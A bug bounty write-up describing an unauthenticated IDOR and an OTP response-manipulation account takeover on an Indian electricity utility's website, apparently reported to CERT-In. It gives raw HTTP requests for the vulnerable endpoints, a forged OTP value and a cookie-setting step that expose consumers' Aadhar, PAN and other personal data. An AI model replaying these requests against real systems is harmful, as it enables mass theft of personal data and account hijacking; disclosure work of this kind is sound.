InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

IDOR + Account Takeover: How I Secured Personal Information (PII) of 5.17M Electricity Consumers

brutexploiter
InfoSec Write-ups
Published in
6 min readJun 15, 2024

https://www.apdcl.org

Access Control:

Insecure direct object references (IDOR):

Discovery Phase:

1. IDOR on Unauthenticated API Endpoint leads to PII Exposure

Login Page
POST /website/myBijulee/fetchConsumer?mobile_no=<mobile_number> HTTP/1.1
Host: www.apdcl.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Origin: https://www.apdcl.org
Content-Length: 0
Te: trailers
Connection: close
Fetch consumer number via mobile number
POST /cbs/RestAPI/myBijulee/ConsDetails?cons_no=<consumer_number> HTTP/1.1
Host: www.apdclrms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/
Origin: https://www.apdcl.org
Connection: close
Fetch consumer details via consumer number
Proof of Concept: IDOR

2. 0-Click Account Takeover via Response Manipulation

POST /website/api/generateOtp?mobNo=<mobile_number> HTTP/1.1
Host: www.apdcl.org
Cookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Origin: https://www.apdcl.org
Content-Length: 0
Connection: close
Generate OTP Request
POST /website/api/postOtp HTTP/1.1
Host: www.apdcl.org
Cookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://www.apdcl.org
Connection: close

mobNo=<mobile_number>&otpNo=000000
Server Response: Correct OTP
Server Response: Wrong OTP

Steps to Reproduce:

Location: /website/ConsumerDashboard
Set-Cookie: mobile={mobile_no}; Domain=www.apdcl.org; Path=/;Secure;
Proof of Concept: Account Takeover

Impact:

Name
Email Address
Mobile number
Address
PAN Number
Voter ID
Aadhar Number
Personal Information Exposed

Disclosure Timeline:

Initial response received from CERT-In for Report 1
Initial response received from CERT-In for Report 2

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by brutexploiter

Security Researcher | Bug Bounty Hunter | Mechanical Engineer https://linktr.ee/brutexploiter